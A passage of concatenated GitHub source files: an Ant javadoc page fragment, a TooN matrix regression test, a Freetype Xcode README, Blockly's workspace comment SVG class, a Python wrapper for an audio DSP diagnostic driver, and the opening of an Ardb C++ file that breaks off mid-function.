<dt><strong>Overrides:</strong></dt>
<dd><code><a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/CommandLauncher.html#exec(org.apache.tools.ant.Project,%20java.lang.String[],%20java.lang.String[],%20java.io.File)">exec</a></code> in class <code><a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/CommandLauncher.html" title="class in org.apache.tools.ant.taskdefs.launcher">CommandLauncher</a></code></dd>
<dt><span class="strong">Parameters:</span></dt><dd><code>project</code> - the Ant project.</dd><dd><code>cmd</code> - the command line to execute as an array of strings.</dd><dd><code>env</code> - the environment to set as an array of strings.</dd><dd><code>workingDir</code> - the working directory where the command should run.</dd>
<dt><span class="strong">Returns:</span></dt><dd>the created Process.</dd>
<dt><span class="strong">Throws:</span></dt>
<dd><code>java.io.IOException</code> - probably forwarded from Runtime#exec.</dd></dl>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/CommandLauncherProxy.html" title="class in org.apache.tools.ant.taskdefs.launcher"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../../../org/apache/tools/ant/taskdefs/launcher/MacCommandLauncher.html" title="class in org.apache.tools.ant.taskdefs.launcher"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../../index.html?org/apache/tools/ant/taskdefs/launcher/Java13CommandLauncher.html" target="_top">Frames</a></li>
<li><a href="Java13CommandLauncher.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li><a href="#fields_inherited_from_class_org.apache.tools.ant.taskdefs.launcher.CommandLauncher">Field</a> | </li>
<li><a href="#constructor_summary">Constr</a> | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li><a href="#constructor_detail">Constr</a> | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
| {
"pile_set_name": "Github"
} |
#include "regressions/regression.h"
#include <TooN/gauss_jordan.h>
template<int C, int D>
void test(Matrix<C, D> m)
{
gauss_jordan(m);
cout << setprecision(10) << m << endl;
}
int main()
{
Matrix<10, 20> m;
m.slice<0,10,10,10>() = Identity;
m.slice<0,0,10,10>()= Data(
0.34797399, 0.99949284, 0.79089508, 0.77106323, 0.42008832, 0.34115353, 0.82386306, 0.30355494, 0.43675765, 0.14701409,
0.79196638, 0.89361322, 0.01607914, 0.80605940, 0.65770431, 0.78196315, 0.72096826, 0.72992854, 0.59231807, 0.29441620,
0.87756469, 0.13676905, 0.24987969, 0.70330337, 0.14679752, 0.24212448, 0.54797729, 0.39780385, 0.28859592, 0.56037868,
0.28673516, 0.50161131, 0.68057626, 0.49395349, 0.40353230, 0.87453874, 0.40320916, 0.81494509, 0.08367898, 0.30109605,
0.63965121, 0.81584239, 0.41207698, 0.62649440, 0.17279511, 0.20152095, 0.68882719, 0.25012805, 0.59680722, 0.08332985,
0.28651408, 0.79504551, 0.33326702, 0.26440896, 0.95748781, 0.22512739, 0.01047784, 0.85470217, 0.85677470, 0.65734012,
0.59521552, 0.78840112, 0.96281698, 0.31079097, 0.31028381, 0.10117889, 0.87224212, 0.29233044, 0.63348397, 0.45734703,
0.76090196, 0.19765961, 0.34467370, 0.13664008, 0.03025330, 0.04633244, 0.85239184, 0.51009616, 0.29205931, 0.01302757,
0.74295611, 0.33527418, 0.62969038, 0.50725507, 0.64402412, 0.89390381, 0.59720718, 0.74400470, 0.98612919, 0.53410648,
0.93191033, 0.22050625, 0.78088493, 0.06762009, 0.56923140, 0.24980766, 0.74376115, 0.14729345, 0.02183219, 0.42504135);
test(m);
Matrix<> md = m;
test(md);
}
| {
"pile_set_name": "Github"
} |
# Freetype 2 Xcode Project
This is simply a distribution of the Freetype 2 library, that includes an Xcode project ready to build the Freetype 2 library into a static binary for the iOS operating system.
The motivation for releasing this project is that the cmake generator does not generate a correct Xcode project file for the Freetype project. It took me a number of hours to arrange this Xcode project so that it would compile without error, so hopefully Xcode project this will be useful to others.
The project only includes the Freetype modules for processing TrueType and OpenType fonts. Other font modules have been disabled. If you want to re-enable these modules, you will need to download the Freetype 2 source code, and then copy the module source files to the appropriate location in either the "include/" or "src/" folders of this distribution. The Freetype source code is [available here](http://download.savannah.gnu.org/releases/freetype/). The instructions for including these new modules in the Xcode project is left as an exercise, but if you follow the pattern of the truetype module in the Xcode project, your module should compile correctly.
The code in this distribution comes from version 2.4.4 of the Freetype library.
# Install
You can add the project file to the workspace of an existing project by dragging freetype2.xcodeproj to the appropriate place in Xcode. You then will need to link your target with the libFreetype2.a static library. Consult the documentation for your version of Xcode for instructions on how to do this.
You can also use the "install.sh" script. This script will create a universal fat binary for the i386, armv6 and armv7 architectures. You can then drag the resulting libFreetype.a static library to the open Xcode project you want to use the Freetype library in.
From there, you will need to tell you target project where the Freetype 2 headers are located. For this, you will need to add a recursive link to the "include/" path of this Freetype source code distribution, to the "Header Search Paths" entry of your Xcode project. The "Header Search Path" entry needs to be relative to the target project's location on your file system.
# License
This code is distributed under the terms of the [Freetype License](http://www.freetype.org/FTL.TXT). The Freetype License is also included in this distribution. If you are going to use code in this project, please make sure you follow the instructions in the Freetype License. | {
"pile_set_name": "Github"
} |
/**
* @license
* Visual Blocks Editor
*
* Copyright 2017 Google Inc.
* https://developers.google.com/blockly/
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* @fileoverview Object representing a code comment on a rendered workspace.
* @author [email protected] (Rachel Fenichel)
*/
'use strict';
goog.provide('Blockly.WorkspaceCommentSvg');
goog.require('Blockly.Events.CommentCreate');
goog.require('Blockly.Events.CommentDelete');
goog.require('Blockly.Events.CommentMove');
goog.require('Blockly.WorkspaceComment');
/**
* Class for a workspace comment's SVG representation.
* @param {!Blockly.Workspace} workspace The block's workspace.
* @param {string} content The content of this workspace comment.
* @param {number} height Height of the comment.
* @param {number} width Width of the comment.
* @param {boolean} minimized Whether this comment is minimized.
* @param {string=} opt_id Optional ID. Use this ID if provided, otherwise
* create a new ID.
* @extends {Blockly.WorkspaceComment}
* @constructor
*/
Blockly.WorkspaceCommentSvg = function(workspace, content, height, width, minimized,
opt_id) {
// Create core elements for the block.
/**
* @type {SVGElement}
* @private
*/
this.svgGroup_ = Blockly.utils.createSvgElement(
'g', {}, null);
this.svgGroup_.translate_ = '';
this.svgRect_ = Blockly.utils.createSvgElement(
'rect',
{
'class': 'scratchCommentRect scratchWorkspaceCommentBorder',
'x': 0,
'y': 0,
'rx': 4 * Blockly.WorkspaceCommentSvg.BORDER_WIDTH,
'ry': 4 * Blockly.WorkspaceCommentSvg.BORDER_WIDTH
});
this.svgGroup_.appendChild(this.svgRect_);
/**
* Whether the comment is rendered onscreen and is a part of the DOM.
* @type {boolean}
* @private
*/
this.rendered_ = false;
/**
* Whether to move the comment to the drag surface when it is dragged.
* True if it should move, false if it should be translated directly.
* @type {boolean}
* @private
*/
this.useDragSurface_ =
Blockly.utils.is3dSupported() && !!workspace.blockDragSurface_;
Blockly.WorkspaceCommentSvg.superClass_.constructor.call(this,
workspace, content, height, width, minimized, opt_id);
this.render();
}; goog.inherits(Blockly.WorkspaceCommentSvg, Blockly.WorkspaceComment);
/**
* The width and height to use to size a workspace comment when it is first
* added, before it has been edited by the user.
* @type {number}
* @package
*/
Blockly.WorkspaceCommentSvg.DEFAULT_SIZE = 200;
/**
* Dispose of this comment.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.dispose = function() {
if (!this.workspace) {
// The comment has already been deleted.
return;
}
// If this comment is being deleted, unlink the mouse events.
if (Blockly.selected == this) {
this.unselect();
this.workspace.cancelCurrentGesture();
}
if (Blockly.Events.isEnabled()) {
Blockly.Events.fire(new Blockly.Events.CommentDelete(this));
}
goog.dom.removeNode(this.svgGroup_);
// Sever JavaScript to DOM connections.
this.svgGroup_ = null;
this.svgRect_ = null;
// Dispose of any rendered components
this.disposeInternal_();
Blockly.Events.disable();
Blockly.WorkspaceCommentSvg.superClass_.dispose.call(this);
Blockly.Events.enable();
};
/**
* Create and initialize the SVG representation of a workspace comment.
* May be called more than once.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.initSvg = function() {
goog.asserts.assert(this.workspace.rendered, 'Workspace is headless.');
if (!this.workspace.options.readOnly && !this.eventsInit_) {
Blockly.bindEventWithChecks_(
this.svgRectTarget_, 'mousedown', this, this.pathMouseDown_);
Blockly.bindEventWithChecks_(
this.svgHandleTarget_, 'mousedown', this, this.pathMouseDown_);
}
this.eventsInit_ = true;
this.updateMovable();
if (!this.getSvgRoot().parentNode) {
this.workspace.getBubbleCanvas().appendChild(this.getSvgRoot());
}
};
/**
* Handle a mouse-down on an SVG comment.
* @param {!Event} e Mouse down event or touch start event.
* @private
*/
Blockly.WorkspaceCommentSvg.prototype.pathMouseDown_ = function(e) {
var gesture = this.workspace.getGesture(e);
if (gesture) {
gesture.handleBubbleStart(e, this);
}
};
/**
* Show the context menu for this workspace comment.
* @param {!Event} e Mouse event.
* @private
*/
Blockly.WorkspaceCommentSvg.prototype.showContextMenu_ = function(e) {
if (this.workspace.options.readOnly) {
return;
}
// Save the current workspace comment in a variable for use in closures.
var comment = this;
var menuOptions = [];
if (this.isDeletable() && this.isMovable()) {
menuOptions.push(Blockly.ContextMenu.commentDuplicateOption(comment));
menuOptions.push(Blockly.ContextMenu.commentDeleteOption(comment));
}
Blockly.ContextMenu.show(e, menuOptions, this.RTL);
};
/**
* Select this comment. Highlight it visually.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.select = function() {
if (Blockly.selected == this) {
return;
}
var oldId = null;
if (Blockly.selected) {
oldId = Blockly.selected.id;
// Unselect any previously selected block or comment.
Blockly.Events.disable();
try {
Blockly.selected.unselect();
} finally {
Blockly.Events.enable();
}
}
var event = new Blockly.Events.Ui(null, 'selected', oldId, this.id);
event.workspaceId = this.workspace.id;
Blockly.Events.fire(event);
Blockly.selected = this;
this.addSelect();
};
/**
* Unselect this comment. Remove its highlighting.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.unselect = function() {
if (Blockly.selected != this) {
return;
}
var event = new Blockly.Events.Ui(null, 'selected', this.id, null);
event.workspaceId = this.workspace.id;
Blockly.Events.fire(event);
Blockly.selected = null;
this.removeSelect();
};
/**
* Select this comment. Highlight it visually.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.addSelect = function() {
Blockly.utils.addClass(
/** @type {!Element} */ (this.svgGroup_), 'blocklySelected');
this.setFocus();
};
/**
* Unselect this comment. Remove its highlighting.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.removeSelect = function() {
Blockly.utils.removeClass(
/** @type {!Element} */ (this.svgGroup_), 'blocklySelected');
this.blurFocus();
};
/**
* Focus this comment. Highlight it visually.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.addFocus = function() {
Blockly.utils.addClass(
/** @type {!Element} */ (this.svgGroup_), 'blocklyFocused');
};
/**
* Unfocus this comment. Remove its highlighting.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.removeFocus = function() {
Blockly.utils.removeClass(
/** @type {!Element} */ (this.svgGroup_), 'blocklyFocused');
};
/**
* Return the coordinates of the top-left corner of this comment relative to the
* drawing surface's origin (0,0), in workspace units.
* If the comment is on the workspace, (0, 0) is the origin of the workspace
* coordinate system.
* This does not change with workspace scale.
* @return {!goog.math.Coordinate} Object with .x and .y properties in
* workspace coordinates.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.getRelativeToSurfaceXY = function() {
var x = 0;
var y = 0;
var dragSurfaceGroup = this.useDragSurface_ ?
this.workspace.blockDragSurface_.getGroup() : null;
var element = this.getSvgRoot();
if (element) {
do {
// Loop through this comment and every parent.
var xy = Blockly.utils.getRelativeXY(element);
x += xy.x;
y += xy.y;
// If this element is the current element on the drag surface, include
// the translation of the drag surface itself.
if (this.useDragSurface_ &&
this.workspace.blockDragSurface_.getCurrentBlock() == element) {
var surfaceTranslation =
this.workspace.blockDragSurface_.getSurfaceTranslation();
x += surfaceTranslation.x;
y += surfaceTranslation.y;
}
element = element.parentNode;
} while (element && element != this.workspace.getBubbleCanvas() &&
element != dragSurfaceGroup);
}
this.xy_ = new goog.math.Coordinate(x, y);
return this.xy_;
};
/**
* Move a comment by a relative offset.
* @param {number} dx Horizontal offset, in workspace units.
* @param {number} dy Vertical offset, in workspace units.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.moveBy = function(dx, dy) {
var event = new Blockly.Events.CommentMove(this);
// TODO: Do I need to look up the relative to surface XY position here?
var xy = this.getRelativeToSurfaceXY();
this.translate(xy.x + dx, xy.y + dy);
event.recordNew();
Blockly.Events.fire(event);
this.workspace.resizeContents();
};
/**
* Transforms a comment by setting the translation on the transform attribute
* of the block's SVG.
* @param {number} x The x coordinate of the translation in workspace units.
* @param {number} y The y coordinate of the translation in workspace units.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.translate = function(x, y) {
this.xy_ = new goog.math.Coordinate(x, y);
this.getSvgRoot().setAttribute('transform',
'translate(' + x + ',' + y + ')');
};
/**
* Move this comment to its workspace's drag surface, accounting for positioning.
* Generally should be called at the same time as setDragging(true).
* Does nothing if useDragSurface_ is false.
* @private
*/
Blockly.WorkspaceCommentSvg.prototype.moveToDragSurface_ = function() {
if (!this.useDragSurface_) {
return;
}
// The translation for drag surface blocks,
// is equal to the current relative-to-surface position,
// to keep the position in sync as it move on/off the surface.
// This is in workspace coordinates.
var xy = this.getRelativeToSurfaceXY();
this.clearTransformAttributes_();
this.workspace.blockDragSurface_.translateSurface(xy.x, xy.y);
// Execute the move on the top-level SVG component
this.workspace.blockDragSurface_.setBlocksAndShow(this.getSvgRoot());
};
/**
* Move this comment back to the workspace block canvas.
* Generally should be called at the same time as setDragging(false).
* Does nothing if useDragSurface_ is false.
* @param {!goog.math.Coordinate} newXY The position the comment should take on
* on the workspace canvas, in workspace coordinates.
* @private
*/
Blockly.WorkspaceCommentSvg.prototype.moveOffDragSurface_ = function(newXY) {
if (!this.useDragSurface_) {
return;
}
// Translate to current position, turning off 3d.
this.translate(newXY.x, newXY.y);
this.workspace.blockDragSurface_.clearAndHide(this.workspace.getCanvas());
};
/**
* Move this comment during a drag, taking into account whether we are using a
* drag surface to translate blocks.
* @param {?Blockly.BlockDragSurfaceSvg} dragSurface The surface that carries
* rendered items during a drag, or null if no drag surface is in use.
* @param {!goog.math.Coordinate} newLoc The location to translate to, in
* workspace coordinates.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.moveDuringDrag = function(dragSurface, newLoc) {
if (dragSurface) {
dragSurface.translateSurface(newLoc.x, newLoc.y);
} else {
this.svgGroup_.translate_ = 'translate(' + newLoc.x + ',' + newLoc.y + ')';
this.svgGroup_.setAttribute('transform',
this.svgGroup_.translate_ + this.svgGroup_.skew_);
}
};
/**
* Move the bubble group to the specified location in workspace coordinates.
* @param {number} x The x position to move to.
* @param {number} y The y position to move to.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.moveTo = function(x, y) {
this.translate(x, y);
};
/**
* Clear the comment of transform="..." attributes.
* Used when the comment is switching from 3d to 2d transform or vice versa.
* @private
*/
Blockly.WorkspaceCommentSvg.prototype.clearTransformAttributes_ = function() {
Blockly.utils.removeAttribute(this.getSvgRoot(), 'transform');
};
/**
* Return the rendered size of the comment or the stored size if the comment is
* not rendered. This differs from getHeightWidth in the behavior of rendered
* minimized comments. This function reports the actual size of the minimized
* comment instead of the full sized comment height/width.
* @return {!{height: number, width: number}} Object with height and width
* properties in workspace units.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.getBubbleSize = function() {
if (this.rendered_) {
return {
width: parseInt(this.svgRect_.getAttribute('width')),
height: parseInt(this.svgRect_.getAttribute('height'))
};
} else {
this.getHeightWidth();
}
};
/**
* Returns the coordinates of a bounding box describing the dimensions of this
* comment.
* Coordinate system: workspace coordinates.
* @return {!{topLeft: goog.math.Coordinate, bottomRight: goog.math.Coordinate}}
* Object with top left and bottom right coordinates of the bounding box.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.getBoundingRectangle = function() {
var blockXY = this.getRelativeToSurfaceXY();
var commentBounds = this.getHeightWidth();
var topLeft;
var bottomRight;
if (this.RTL) {
topLeft = new goog.math.Coordinate(blockXY.x - (commentBounds.width),
blockXY.y);
// Add the width of the tab/puzzle piece knob to the x coordinate
// since X is the corner of the rectangle, not the whole puzzle piece.
bottomRight = new goog.math.Coordinate(blockXY.x,
blockXY.y + commentBounds.height);
} else {
// Subtract the width of the tab/puzzle piece knob to the x coordinate
// since X is the corner of the rectangle, not the whole puzzle piece.
topLeft = new goog.math.Coordinate(blockXY.x, blockXY.y);
bottomRight = new goog.math.Coordinate(blockXY.x + commentBounds.width,
blockXY.y + commentBounds.height);
}
return {topLeft: topLeft, bottomRight: bottomRight};
};
/**
* Add or remove the UI indicating if this comment is movable or not.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.updateMovable = function() {
if (this.isMovable()) {
Blockly.utils.addClass(
/** @type {!Element} */ (this.svgGroup_), 'blocklyDraggable');
} else {
Blockly.utils.removeClass(
/** @type {!Element} */ (this.svgGroup_), 'blocklyDraggable');
}
};
/**
* Set whether this comment is movable or not.
* @param {boolean} movable True if movable.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.setMovable = function(movable) {
Blockly.WorkspaceCommentSvg.superClass_.setMovable.call(this, movable);
this.updateMovable();
};
/**
* Recursively adds or removes the dragging class to this node and its children.
* @param {boolean} adding True if adding, false if removing.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.setDragging = function(adding) {
if (adding) {
var group = this.getSvgRoot();
group.translate_ = '';
group.skew_ = '';
Blockly.utils.addClass(
/** @type {!Element} */ (this.svgGroup_), 'blocklyDragging');
} else {
Blockly.utils.removeClass(
/** @type {!Element} */ (this.svgGroup_), 'blocklyDragging');
}
};
/**
* Return the root node of the SVG or null if none exists.
* @return {Element} The root SVG node (probably a group).
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.getSvgRoot = function() {
return this.svgGroup_;
};
/**
* Returns this comment's text.
* @return {string} Comment text.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.getText = function() {
return this.textarea_ ? this.textarea_.value : this.content_;
};
/**
* Set this comment's text.
* @param {string} text Comment text.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.setText = function(text) {
Blockly.WorkspaceCommentSvg.superClass_.setText.call(this, text);
if (this.textarea_) {
this.textarea_.value = text;
}
};
/**
* Update the cursor over this comment by adding or removing a class.
* @param {boolean} enable True if the delete cursor should be shown, false
* otherwise.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.setDeleteStyle = function(enable) {
if (enable) {
Blockly.utils.addClass(
/** @type {!Element} */ (this.svgGroup_), 'blocklyDraggingDelete');
} else {
Blockly.utils.removeClass(
/** @type {!Element} */ (this.svgGroup_), 'blocklyDraggingDelete');
}
};
Blockly.WorkspaceCommentSvg.prototype.setAutoLayout = function() {
// NOP for compatibility with the bubble dragger.
};
/**
* Decode an XML comment tag and create a rendered comment on the workspace.
* @param {!Element} xmlComment XML comment element.
* @param {!Blockly.Workspace} workspace The workspace.
* @param {number=} opt_wsWidth The width of the workspace, which is used to
* position comments correctly in RTL.
* @return {!Blockly.WorkspaceCommentSvg} The created workspace comment.
* @package
*/
Blockly.WorkspaceCommentSvg.fromXml = function(xmlComment, workspace,
opt_wsWidth) {
Blockly.Events.disable();
try {
var info = Blockly.WorkspaceComment.parseAttributes(xmlComment);
var comment = new Blockly.WorkspaceCommentSvg(workspace,
info.content, info.h, info.w, info.minimized, info.id);
if (workspace.rendered) {
comment.initSvg();
comment.render(false);
}
// Position the comment correctly, taking into account the width of a
// rendered RTL workspace.
if (!isNaN(info.x) && !isNaN(info.y)) {
if (workspace.RTL) {
var wsWidth = opt_wsWidth || workspace.getWidth();
comment.moveBy(wsWidth - info.x, info.y);
} else {
comment.moveBy(info.x, info.y);
}
}
} finally {
Blockly.Events.enable();
}
Blockly.WorkspaceComment.fireCreateEvent(comment);
return comment;
};
/**
* Encode a comment subtree as XML with XY coordinates.
* @param {boolean=} opt_noId True if the encoder should skip the comment id.
* @return {!Element} Tree of XML elements.
* @package
*/
Blockly.WorkspaceCommentSvg.prototype.toXmlWithXY = function(opt_noId) {
var width; // Not used in LTR.
if (this.workspace.RTL) {
// Here be performance dragons: This calls getMetrics().
width = this.workspace.getWidth();
}
var element = this.toXml(opt_noId);
var xy = this.getRelativeToSurfaceXY();
element.setAttribute('x',
Math.round(this.workspace.RTL ? width - xy.x : xy.x));
element.setAttribute('y', Math.round(xy.y));
element.setAttribute('h', this.getHeight());
element.setAttribute('w', this.getWidth());
return element;
};
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env python3
#
# Copyright (c) 2019 Intel Corporation
#
# SPDX-License-Identifier: Apache-2.0
import os
import fcntl
import struct
import mmap
import logging
from ctypes import cast, POINTER, c_uint8, c_uint32, c_uint16, c_uint64,\
addressof, byref
# diag_driver file
DIAG_DRV_PATH = "/dev/hda"
# Diag Driver Definition - sof-diagnostic-driver/ioctl.h
# IOCTL definition
CMD_OPEN_DEVICE = 0x47
CMD_ALLOC_MEMORY = 0x3A
CMD_FREE_MEMORY = 0x3B
CMD_OPEN_DEVICE_LEN = 40
class HdaBar:
""" Data structure for HDA BAR information """
def __init__(self, raw):
self.base_p = 0
self.base_v = 0
self.size = 0
(self.base_p, self.base_v, self.size) = struct.unpack('=QQL', raw)
def __str__(self):
return " Base Physical Address: 0x%08X\n" \
" Base Virtual Address: 0x%08X\n" \
" Base Size: 0x%08X" \
% (self.base_p, self.base_v, self.size)
class HdaMemory:
""" Data structure for HDA memory allocation """
def __init__(self, size=0):
self.dma_addr_p = 0
self.dma_addr_v = 0
self.size = size
self.memmap = None
def set_value(self, raw):
(self.dma_addr_p,
self.dma_addr_v,
self.size) = struct.unpack('=QQL', raw)
def get_value(self):
data = bytearray(struct.pack('=QQL', self.dma_addr_p,
self.dma_addr_v,
self.size))
return data
def __str__(self):
return " DMA Physical Address: 0x%08X\n" \
" DMA Virtual Address: 0x%08X\n" \
" DMA Size: 0x%08X" \
% (self.dma_addr_p, self.dma_addr_v, self.size)
class HdaHandle:
""" Data structure for HDA handles """
def __init__(self, raw):
data = struct.unpack('20s20s', raw)
self.hda_bar = HdaBar(data[0])
self.dsp_bar = HdaBar(data[1])
def __str__(self):
output = (
"HDA BAR:\n"
"{hda}\n"
"DSP BAR:\n"
"{dsp}"
).format(
hda = self.hda_bar, dsp = self.dsp_bar
)
return output
class DiagDriver:
""" Interface for diag_driver """
def __init__(self):
self._handle = None
self._mem_map_list = []
self._buff_list = []
def open_device(self):
"""
Send CMD_OPEN_DEVICE and get HDA BAR and DSP BAR
Returns:
(handle)(obj:HdaHandle): HDA and DSP Bars objs
"""
logging.debug(">>> DiagDriver.open_device()")
# Allocate bytearry for HDABusTest_OpenDevice
buf = bytearray(CMD_OPEN_DEVICE_LEN)
logging.info("Open HDA device: %s" % DIAG_DRV_PATH)
# Send CMD_OPEN_DEVICE
with open(DIAG_DRV_PATH) as fd:
fcntl.ioctl(fd, CMD_OPEN_DEVICE, buf)
self._handle = HdaHandle(buf)
logging.debug("<<< DiagDriver.open_device()")
return self._handle
def alloc_mem(self, size):
"""
Send CMD_ALLOC_MEMORY to allocate DMA buffer
Returns:
hda_mem (obj:HDAMemory): Allocated DMA buffer information
"""
logging.debug(">>> Diag_Driver.alloc_mem(size=0x%08X)" % size)
hda_buf = HdaMemory(size)
# Allocate bytearray for HDABusTestMem
buf = hda_buf.get_value()
# Send CMD_ALLOC_MEMORY
with open(DIAG_DRV_PATH) as fd:
fcntl.ioctl(fd, CMD_ALLOC_MEMORY, buf)
hda_buf.set_value(buf)
mem = self.mmap(hda_buf.dma_addr_p, hda_buf.size)
hda_buf.memmap = mem
hda_buf.dma_addr_v = addressof(mem)
logging.debug("DMA Memory:\n%s" % hda_buf)
# Append to buffer list for later clean up.
self._buff_list.append(hda_buf)
logging.debug("<<< Diag_Driver.alloc_mem()")
return hda_buf
def free_mem(self, hda_buf):
"""
Send CMD_FREE_MEMORY to free the DMA buffer
Params:
had_mem (obj:HDAMemory): DMA buffer information to be freed
Returns:
0 for success, otherwise fail.
"""
logging.debug(">>> Diag_Driver.free_mem()")
if hda_buf not in self._buff_list:
logging.error("Cannot find buffer from the list")
raise ValueError("Cannot find buffer to free")
logging.debug("Buffer to Free:\n%s" % hda_buf)
buf = hda_buf.get_value()
# Send CMD_FREE_MEMORY
with open(DIAG_DRV_PATH) as fd:
ret = fcntl.ioctl(fd, CMD_FREE_MEMORY, buf)
self._buff_list.remove(hda_buf)
logging.debug("<<< Diag_Driver.free_mem()")
return ret
def mmap(self, addr, length):
"""
Setup mmap for HDA and DSP from /dev/mem
Returns:
(mem map,..)(uint32_t..): Array of uint32_t in mapped memory
"""
logging.debug(">>> Diag_Driver.mmap(addr=0x%08X, length=0x%08X)"
% (addr, length))
try:
fd = os.open(DIAG_DRV_PATH, os.O_RDWR)
mem_map = mmap.mmap(fd, length, offset=addr,
prot=mmap.PROT_READ | mmap.PROT_WRITE,
flags=mmap.MAP_SHARED)
self._mem_map_list.append(mem_map)
# Array of uint8
mem = (c_uint8 * length).from_buffer(mem_map)
finally:
os.close(fd)
logging.debug("<<< Diag_Driver.mmap()")
return mem
class Register:
def __init__(self, base_addr, offset, type=c_uint32):
self._type = type
self._obj = cast(byref(base_addr, offset), POINTER(type))
def __str__(self):
if self._type == c_uint8:
return "0x%02X" % self.value
elif self._type == c_uint16:
return "0x%04X" % self.value
elif self._type == c_uint32:
return "0x%08X" % self.value
elif self._type == c_uint64:
return "0x%08X %08X" % (
self.value >> 32,
self.value & 0xFFFFFFFF
)
else:
return "0x%08X (unknown type)" % self.value
@property
def value(self):
return self._obj.contents.value
@value.setter
def value(self, value):
self._obj[0] = value
| {
"pile_set_name": "Github"
} |
/*
*Copyright (c) 2013-2018, yinqiwen <[email protected]>
*All rights reserved.
*
*Redistribution and use in source and binary forms, with or without
*modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
*THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
*AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
*IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
*ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS
*BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
*CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
*SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
*INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
*CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
*ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
*THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "db/db.hpp"
OP_NAMESPACE_BEGIN
struct ContexWithReply
{
Context* ctx;
RedisReply* reply;
ContexWithReply(Context* c, RedisReply* r)
: ctx(c), reply(r)
{
}
~ContexWithReply()
{
DELETE(reply);
}
};
void Ardb::AsyncUnblockKeysCallback(Channel* ch, void * data)
{
ContexWithReply* c = (ContexWithReply*) data;
if (NULL == ch || ch->IsClosed())
{
DELETE(c);
return;
}
g_db->UnblockKeys(*(c->ctx), true, c->reply);
DELETE(c);
}
int Ardb::UnblockKeys(Context& ctx, bool sync, RedisReply* reply)
{
if (ctx.keyslocked)
{
FATAL_LOG("Can not modify block dataset when key locked.");
}
if (!sync)
{
